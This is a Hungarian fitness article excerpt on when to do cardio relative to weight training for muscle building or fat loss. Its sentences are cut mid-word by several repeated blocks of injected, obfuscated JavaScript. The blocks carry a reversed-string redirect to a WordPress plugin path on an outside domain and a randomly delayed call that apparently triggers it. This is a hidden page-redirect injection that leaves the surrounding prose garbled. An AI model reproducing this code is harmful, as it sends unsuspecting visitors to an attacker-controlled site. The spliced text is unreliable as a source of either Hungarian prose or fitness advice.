Feltéve ha össze akarod kötni egy kemény súlyzós edzéssel persze. Nem muszáj, de ha így tennél akkor csak a súlyzós edzés után tedd. Az anaerob (súlyzós) edzéshez szükséges energia igényedet szénhidrátból fedezed, ezért nem érdemes már az edzés elején elhasználni, kiüríteni a raktáraidat egy aerob programmal! Sőt, ha konkrétan izomépítés a cél, akkor teljes mértékben elhanyagolhatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tod, és csak és kizárólag bemelegítés céljából, max 10-05 percig kardiózz. Ne feledd, hogy semmiképp ne terheld túl magad az elején, az izmaidnak szükségük van a bemelegítésre. De ha fogynál… … mindenképp javasolt a minél több kardiózás. A fogyás mellett az állóképességedet is jelentősen javíthatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tod….
A cikk folytatódik: http://menandstyle.co.hu/egeszseg-fitnesz/2018/10/30/kardio-tippek.html
- Hirdetés -
